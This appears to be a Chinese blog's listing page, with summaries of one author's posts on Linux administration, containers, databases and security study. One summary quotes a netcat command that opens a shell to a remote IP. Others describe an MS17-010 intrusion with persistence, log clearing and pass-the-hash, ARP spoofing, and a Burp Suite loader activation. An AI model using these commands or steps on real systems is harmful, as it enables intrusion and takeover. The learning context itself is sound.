- 博客(33)
- 问答 (1)
- 收藏
- 关注
原创 【工具】把 eDiary 改造成了“云日记本”:两台 Mac 同步笔记的折腾记录
本文记录了一次将 eDiary 日记本迁移到 iCloud Drive,并通过软链接实现两台 Mac 同步的实践过程。文章重点复盘了 iCloud 上传 .edf 文件卡在 0% 的排查过程,包括 lsof、xattr、brctl monitor、stat 和 fileproviderd 日志分析,并基于 LaunchAgent 和 Shell 脚本实现 eDiary 退出后自动刷新同步,最后制作了一个本地 Cloud eDiary.app 启动器,用于启动前触发 iCloud 下载并等待文件稳定。
2026-07-09 16:44:03
238
原创 【环保】使用 Multipass 在 Mac 上搭建 Kubernetes 集群实战记录
本文介绍了在Mac上使用Multipass工具搭建轻量级Kubernetes学习环境的过程。作者通过对比VMware Fusion和Multipass,选择了更轻量、适合命令行操作的Multipass来创建三台Ubuntu 24.04虚拟机(1个master节点和2个worker节点)。文章详细记录了环境准备、虚拟机创建、containerd安装配置、内核参数优化以及crictl工具安装等关键步骤,特别强调了Kubernetes对系统配置的要求。这套2C2G规格的环境专为学习设计,不适合生产环境,能够帮助开
2026-06-21 22:02:03
301
原创 【安全】SSL证书更新操作手册(Nginx+Cloudflare+acme.sh)
本文围绕 Nginx 场景下的 SSL 证书更新,系统梳理从手动续期到自动化部署的完整流程。涵盖腾讯云证书申请、Cloudflare DNS 验证、证书部署与权限配置,以及基于 acme.sh 的自动签发与续期方案。同时结合批量脚本与常见问题排查,帮助你在多域名、多服务器环境下实现高效、安全、可持续的证书管理,降低运维成本,避免证书过期带来的业务风险。
2026-05-01 16:18:01
647
原创 【环保】CentOS 7 安装 MySQL 8 实战记录:从安装到排障一次讲清
MySQL 8.4 在 CentOS 7 的安装与排障指南 本文详细记录了在 CentOS 7.6 系统上安装 MySQL 8.4 社区版的全过程及常见问题解决方案。主要内容包括: 前置检查:检查系统是否已安装 MySQL/MariaDB,确认端口占用、数据目录和配置文件情况 清理工作:完整卸载旧版本数据库及相关组件,删除残留文件 安装流程:配置官方 YUM 源,处理 GPG 校验问题,正确安装 MySQL 服务端 初始化与启动:自动生成临时密码的获取方式,服务启动的正确流程 安全配置:SELinux 策略
2026-04-22 11:40:14
463
原创 K8s Pod调度【学习笔记】
摘要:Kubernetes Pod调度流程分为节点筛选(Filter)和评分(Score)两个阶段。筛选阶段通过节点标签、污点容忍、资源请求等条件选择可用节点;评分阶段则根据资源利用率、负载均衡等策略对节点打分。资源限制中requests影响调度,limits限制运行时性能。合理设置requests和limits对Pod调度和稳定运行至关重要,不当配置会导致Pod无法调度或被终止。调度器最终选择最优节点部署Pod,确保集群资源高效利用。
2026-04-20 10:22:23
96
原创 【容器】docker安装部署及常用命令使用
本文介绍了Docker在CentOS系统上的安装部署和使用方法。主要内容包括:1) 配置yum源并安装Docker,设置开机自启和配置镜像加速器;2) 基本使用操作如拉取镜像、启动容器、进入容器修改内容、提交镜像修改等;3) 镜像的保存、加载和推送至远程仓库;4) 应用部署方式对比,以及使用Dockerfile打包Java应用并构建镜像运行容器的完整流程。文章提供了详细的命令示例,涵盖了Docker从安装到应用部署的核心操作步骤。
2025-12-31 18:17:33
492
原创 【基线】关于Debian的一些简单安全配置及验证
本文介绍了Linux系统安全基线配置的五个关键方面:1)账户检查,包括UID为0的账户检测和密码策略设置;2)认证授权,涉及远程连接安全、目录权限管理和SUID/SGID文件检查;3)日志管理,包含日志权限控制、留存周期设置和防篡改措施;4)系统状态监控,如关闭coredump功能;5)服务管理,建议关闭非必要服务。作者在Debian系统上实践了这些安全配置,详细说明了密码复杂度、账户锁定、登录超时等具体实现方法,并分享了配置过程中遇到的问题和解决方案。
2025-12-15 23:28:51
1049
原创 【安防】Windows Server 2008虚拟机忘记密码的一时兴起
本文记录了一次针对Windows Server 2008系统的渗透测试实践。作者在忘记虚拟机密码后,利用未打补丁的MS17-010,通过Metasploit框架获取系统权限并修改管理员密码。测试过程包括:信息收集(nmap扫描、wireshark抓包)、漏洞利用(MSF框架渗透)、权限维持(创建隐藏账户、计划任务持久化)及日志清理等完整渗透流程。文章还探讨了密码破解(John工具)和哈希传递攻击,并强调了安全防护的重要性,如及时打补丁、关闭不必要端口、使用强密码等。作者声明所有技术仅用于安全研究
2025-12-04 22:58:45
1353
原创 Windows功能之FTP服务器搭建
在Windows 7中搭建FTP服务器的步骤:启用IIS及FTP服务:控制面板开启“FTP服务器”和“IIS管理控制台”。配置用户与权限:新建FTP用户,设置共享文件夹的读写权限。创建FTP站点:通过IIS绑定IP/端口(默认21),启用基本验证并分配权限。防火墙设置:开放FTP端口(21)及被动模式高位端口(1024-65535)。注意:被动模式需开放高位端口,资源管理器默认被动模式可能导致连接失败。
2025-03-16 00:11:20
7591
原创 学习Linux审计守护工具之auditd
auditd 一个linux重要组件, 主要用于监控系统调用和文件访问。通过配置审计规则,可以用来记录文件访问、登录尝试、权限更改等操作,能够帮管理员追踪系统的安全时间和异常行为。
2025-03-03 00:16:00
2388
原创 安防初识命令【学习笔记】
nc -e /bin/bash 192.168.42.134 6666 客户端连接后启动shell。用户名:密码:uid:gid:描述性信息:主目录:默认shell (nologin为禁止登陆)/bin目录下存在大部分内核指令,可直接通过/bin/+命令绕过大多数简单的命令字符过滤。gpg --batch --passphrase 密钥 -d 需要解密的文件。gpg -o 解密后存储的文件 -d 需要解密的文件。nikto--------web安全扫描工具。10、信息收集--永恒之眼。
2023-10-13 18:32:21
631
原创 window系统进行goolge代理配置(falcon proxy+burpsuite)
linux系统自带burpsuite抓包软件,只要火狐下个代理扩展就可以抓包了,想着每次抓包还得去虚拟机抓就有点小烦躁,所以想着给自己本机也弄个burpsuite,有想法就开整!设置-隐私和安全-安全-管理设备证书-受信任的根证书颁发机构-导入cacert.der,导入时文件类型选择所有文件(*)后面就激活成功,可以正常使用,后续直接通过burpsuite.bat文件启动,无法再进行上述激活步骤。3、打开burploader.jar文件,点击run,又报错了。
2023-10-13 16:12:14
1433
原创 MITM之arp欺骗
arp请求为广播形式发送,同一网段内主机可自主发送arp应答消息,欺骗者伪装成网关或被访问主机发送arp应答消息,让目标主机认为被访问主机ip的物理地址就是欺骗者的物理地址;ARP缓存表采用老化的机制,在一段时间里表中的某一行没有使用,就会被删除,这样可以大大减少ARP缓存表的长度,加快查询的速度,也成了arp欺骗利用的机制。1、不把网络安全信任关系单独建立在ip地址/mac地址上,应当ip+mac地址结合。3、若知悉网关mac地址,处于arp欺骗中可以直接进行arp加固,静态绑定网关地址。
2023-09-26 14:00:39
336
原创 【积累】-----arp的简单使用
if_addr 如果存在,此项指定地址转换表应修改的接口的 Internet 地址。2)当我们网络接口太多(装虚拟机的接口多),cmd敲完arp -a看起来真费劲,所以有时我们只是单纯想看某个接口的arp缓存表。> arp -s 157.55.85.212 00-aa-00-62-c6-09.... 添加静态项。-N if_addr 显示 if_addr 指定的网络接口的 ARP 项。1)arp -a展示所有网络接口的arp缓存表,在所有接口上查询某一目标ip绑定关系。
2023-09-21 18:03:07
1385
原创 Debian LNMP架构的简单配置使用
注:php-fpm日志文件在/var/log/php8.2-fpm.log,php-fpm启动不起来,可以从日志里看报错信息。查看php-fpm配置 /etc/php/8.2/fpm/pool.d/www.conf 默认是采用第一种通信方式。主:/etc/php/8.2/fpm/php8.2-fpm.conf。子: /etc/php/8.2/fpm/pool.d/www.conf。
2023-07-28 13:42:00
1432
1
原创 Linux vsftp三种模式的简单配置部署
博主在Debian 6.1.27-1kali1 (2023-05-12) 安装的vsftpd/kali-rolling 3.0.3-13+b2 amd64在/etc目录下没有vsftpd目录,自然也没有vsftpd.user_list,而vsftp.conf文件直接在/etc下,同样在/etc目录下找到ftpusers文件,该文件的所有用户不允许登陆ftp。(文件默认开放所有全部权限666,需要减少的权限022,则默认文件权限为-rw-r--r--)
2023-07-25 20:52:06
987
原创 关于正则表达式的简单介绍以及使用【学习笔记】
"area bare arena mare" 使用正则”\bare\w*\b" 去匹配,会得到“area" ,"arena" ,”\bare\w*\b" 以“边界+以are开头的单词+边界”去匹配。多行模式改变的是"^"和"$"的匹配模式,默认模式下 "^"和"$"匹配的是整个字符串的起始位置和结束位置,而在多行模式,它们会匹配字符串内部某一行文本的起始位置和结束位置。、{n}、{n,}、{n,m}基础正则表达式:"^","$",".","*","\","[abc]","[^abc]","[a-d]"
2023-07-20 17:31:10
662
原创 浅谈linux前台进程与后台进程同步异步执行的理解
linux终端输入一条命令,创建一个子进程运行这条命令,在这条命令进程执行完之前,终端shell都无法接收新的一条命令;应该是概念混淆了,这里linux进程异步的意思,就单纯的字面意思,时间不一致,进程与shell进程不能在同一时间运行,故shell进程在前台进程运行时不能执行下一命令。同步,程序的执行顺序和任务的排列顺序是一致的、同步的,所以后一个任务要等待前一个任务结束,然后再执行。同理,与shell同步运行的,用户在它完成前可以继续在前台执行下一条命令的进程为后台进程。
2023-07-18 10:10:27
809
3
原创 Linux系统终端窗口ctrl+c,ctrl+z,ctrl+d的区别
时常在Linux系统上,执行某命令停不下来,就这几个ctrl组合键按来按去,今天稍微总结下具体差别,便于以后linux系统运维操作。2、ctrl+z暂停正在执行的进程,前台进程转为后台进程(暂停状态),同一shell进程下可使用bg命令恢复继续执行。1、ctrl+c强制中断程序,相应进程会被杀死,中断进程任务无法恢复执行。3、ctrl+d 使用过几次,类似输入exit 命令,退出某某进程,窗口。
2023-07-15 17:37:41
3684
1
原创 关于虚拟机kali系统忘记密码修改密码的操作
1、启动kali虚拟机,进入GRUB菜单,选中kali GNU/Linux 按e 进入编辑状态。4、ctrl+x或者F10 重新启动系统,即可进入单用户模式shell,现在就可以设置密码了。rw --根分区的挂载模式默认是只读(ro),以其权限变为可读可写。3、在末尾添加 rw single init=/bin/bash。5、设置完密码重启虚拟机kali系统即可正常使用了。#个人学习记录使用,若有不合理之处,欢迎指教。single --进入单用户模式。
2023-07-12 14:55:17
4037
1
原创 关于python安装第三方工具包,报错NameError: name ‘pip‘ is not defined
python安装第三方工具包,报错NameError: name 'pip' is not defined
2022-05-03 20:57:45
3994
原创 解决mysql编码格式问题
在mysql所建立的表中插入中文数据出现错误,报错Incorrect string value: '\xE6\x89\x8B\xE6\x9C\xBA' for column 'cname' at row 1;错误原因是在字段'cname'字段插入中文数据,因为建表时没有注明编码格式,则默认使用mysql默认编码latin1(瑞典)这时为了在表中出入中文数据,需要更改my...
2020-01-06 16:44:48
924
原创 进程与线程的区别
公司比作进程,公司的资产比作进程的资源。公司的员工比作线程,公司的员工共享公司的资产。也就是说线程共享整个进程的资源,同一个进程可以包括多个线程,一个进程至少包括一个线程。因为进程自身无法完成任何功能,必须进程要完成任务需要开启一个或多个线程去完成。进程与线程的区别1)进程是资源分配和调度的一个独立单元,而线程是CPU调度的基本单元。2)一个进程可以包含多个线程,并且这些线...
2019-06-06 10:54:30
326
原创 在Kali Linux虚拟机下,如何安装VMtools,并且实现将本机文件拖拽至虚拟机的功能
首先我们启动Kali linux虚拟机再安装VMware Tools,右键虚拟机弹出菜单栏,选中“安装VMware Tools”选项,点击。弹出对话框,点击“是”出现如下界面后打开光盘所在目录,找到Vmware-tools的安装压缩包,将其拷贝到其他目录下,这里我们把它拷贝到Home目录下将vmtools安装压缩包解压,输入指令tar zxvf VM...
2019-05-10 19:27:46
4692
2
原创 VMware Kali Linux虚拟机的安装教程
打开VMware Workstation,点击“创建新的虚拟机”,根据“新建虚拟机向导”进行安装。这里使用“典型”配置就行。接下来先点击“安装程序光盘映像文件”,填写自己本地Kali虚拟机的光盘镜像文件所在路径,下图是我自己Kali Linux镜像文件所在路径,填写完后,点击第三项“稍后安装操作系统”进行下一步。客户机操作系统选择“Linux”,至于版本我这里保持的是默认的,没...
2019-05-09 22:23:20
2689
原创 scanf函数与gets函数关于字符串输入换行符问题
先看下代码以及运行结果(这代码从网上拷的)#include <stdio.h>int main(){ // 先读入一个整数,再读入2个串 int a; char b1[100]; char b2[100]; scanf("%d", &a); gets(b1); gets(b2); printf("a ...
2018-12-18 14:34:11
13692
11
原创 Cisco IOS镜像文件的下载地址
文件在鸿鹄论坛那里有下载,不过鸿鹄论坛那里需要登录账号回复才能看到下载链接http://bbs.hh010.com/forum.php?mod=viewthread&tid=38658&extra=page%3D1%26filter%3Dsortid%26sortid%3D1...
2018-12-17 12:31:58
24329
13
转载 对于句柄的理解
在博客园摘录的一篇文章,原文请看https://www.cnblogs.com/barcelong/articles/1261015.html前面几个点看不太懂,看第四个点比较能理解句柄的作用一、句柄是什么?在Windows中,句柄是和对象一一对应的32位无符号整数值。对象可以 映射到唯一的句柄,句柄也可以映射到唯一的对象。 二、为什么要用到句柄?windows需要向程序员提...
2018-12-13 19:08:28
1583
转载 Java Main方法中String[] args 与 String args[]区别
单独对比 String[] args 与 String args[]来说区别不太大。执行效果上没有不同, 但在语法意义上略有不同.比如, String与String[], 前者叫字符串类型而后者叫字符串数组类型.String args[]单从类型上来讲属于字符串类型, 而从变量本身来讲是一个数组类型,因此组合起来说明此变量为一个字符串类型的数组, 也就是说数组中的所有元素都为String类型。St...
2018-05-04 14:43:26
545
原创 Java args参数输入(eclipse)
测试代码:打印一个矩形,要求输入两个参数长宽package pack3;public class PrintStar {public static void main(String args[]){ try{ int length=0; int width=0; String str1=args[0]; String str2=args[1]; length=Integer.parseInt(st...
2018-05-04 14:41:23
3562
原创 Java中换行语句
(1)System.out.println();(2)System.out.print("\n");换多行可以使用第二种方法多加几个\n就行了
2018-05-04 14:18:45
13396
原创 java中的输入操作
Java中输入一般是通过导入Scanner类来实现的:具体步骤如下:(1)创建Scanner对象,接受从控制台输入Scanner input=new Scanner(System.in);(2) 接受String类型String str=new input.next();//string比较特殊,不是input.nextString()(3)接受int类型int n=input.nextInt()...
2018-04-08 15:03:11
697
转载 在windows命令行窗口运行Java程序代码中出现package报错无法加载主类
如果要在cmd命令行中,使用java运行java程序,可能会出现如下问题:观看一下datademo1.java的代码package hjfjhf;public class DataDemo1 {public static void main(String[] args) { int max=Integer.MAX_VALUE; System.out.println("整型的最大值:"+max); ...
2018-04-04 18:07:46
1476
空空如也
敏捷开发的几道题,考试遇到的,不知道答案,多选题
2021-08-13
TA创建的收藏夹 TA关注的收藏夹
TA关注的人
RSS订阅